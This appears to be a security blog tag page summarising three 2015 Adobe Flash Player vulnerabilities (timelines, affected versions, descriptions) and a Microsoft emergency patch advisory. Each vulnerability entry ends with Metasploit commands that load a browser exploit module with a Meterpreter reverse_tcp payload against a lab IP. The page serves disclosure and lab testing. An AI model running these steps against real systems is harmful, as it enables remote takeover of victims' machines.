Posts tagged Adobe Flash 0day

CVE-2015-0336 Adobe Flash Player NetConnection Type Confusion

Timeline :

Vulnerability discovered and reported to the vendor by Natalie Silvanovich in January 2015
Patch provided by the vendor via APSA15-05 the 2015-03-12
Vulnerability found exploited into exploit kits the 2015-03-19
Details of the vulnerability provided by Google Security the 2015-04-13
Metasploit PoC provided the 2015-05-28

PoC provided by :

Natalie Silvanovich
Unknown
juan vazquez

Reference(s) :

CVE-2015-0336
APSB15-05

Affected version(s) :

Adobe Flash Player 16.0.0.305 and earlier versions
Adobe Flash Player 11.2.202.442 and earlier 11.x versions

Tested on :

Windows 7 SP1 with IE 8 and Flash 16.0.0.305

Description :

This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and ultimately accomplish remote code execution. This module has been tested successfully on:

* Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305.
* Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Linux Mint “Rebecca” (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.424.
* Ubuntu 14.04.2 LTS, Firefox 33.0 and Adobe Flash 11.2.202.442.

Commands :

use exploit/multi/browser/adobe_flash_net_connection_confusion
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138

getuid

CVE-2015-0313 Adobe Flash Player ByteArray With Workers Use After Free

Timeline :

Vulnerability found exploited in the wild by TrendMicro in January 2015
Patch provided by the vendor via APSA15-02 the 2015-02-02
Details of the vulnerability provided by TrendMicro the 2015-02-04
Metasploit PoC provided the 2015-03-28

PoC provided by :

Unknown
hdarwin
juan vazquez

Reference(s) :

CVE-2015-0313
APSA15-02

Affected version(s) :

Adobe Flash Player 16.0.0.296 and earlier versions for Windows and Macintosh

Tested on :

Windows 7 SP1 with IE 8 and Flash 16.0.0.296

Description :

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, which can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.

Commands :

use exploit/windows/browser/adobe_flash_worker_byte_array_uaf
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

CVE-2015-0311 Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Timeline :

Vulnerability discovered exploited in the wild the 2015-01-21
Patched by the vendor the 2015-01-22
Metasploit PoC provided the 2015-03-09

PoC provided by :

Unknown
hdarwin
juan vazquez

Reference(s) :

CVE-2015-0311
APSA15-01

Affected version(s) :

Adobe Flash Player 16.0.0.287 and earlier versions for Windows and Macintosh
Adobe Flash Player 13.0.0.262 and earlier 13.x versions
Adobe Flash Player 11.2.202.438 and earlier versions for Linux

Tested on :

Windows 7 SP1 and Internet Explorer 8 with Adobe Flash Player 16.0.0.287

Description :

This module exploits a use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This module has been tested successfully on:
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.287.
* Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.
* Linux Mint “Rebecca” (32 bits), Firefox 33.0 and Flash 11.2.202.424.

Commands :

use exploit/multi/browser/adobe_flash_uncompress_zlib_uaf
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

MSA-2755801 Microsoft Emergency Patch For Flash Player 0day

Microsoft has release, December 29th 2015, an emergency patch, with the updated of one security advisory concerning Adobe Flash Player.

Microsoft Security Advisory 2755801

MSA-2755801,released during September 2012, has been updated. The security advisory is concerning updates for vulnerabilities in Adobe Flash Player in Internet Explorer 10, Internet Explorer 11 and Microsoft Edge. KB3132372 has been released for supported editions of for:

  • Internet Explorer 10 on Windows 8, Windows Server 2012, and Windows RT;
  • Internet Explorer 11 on Windows 8.1, Windows Server 2012 R2, Windows RT 8.1, and Windows 10;
  • Microsoft Edge on Windows 10.

The update addresses the vulnerabilities and Adobe Flash Player 0day (CVE-2015-8651described in Adobe Security bulletin APSB16-01.

Application of KB3132372 could lead to limited application crashes on Windows 10.

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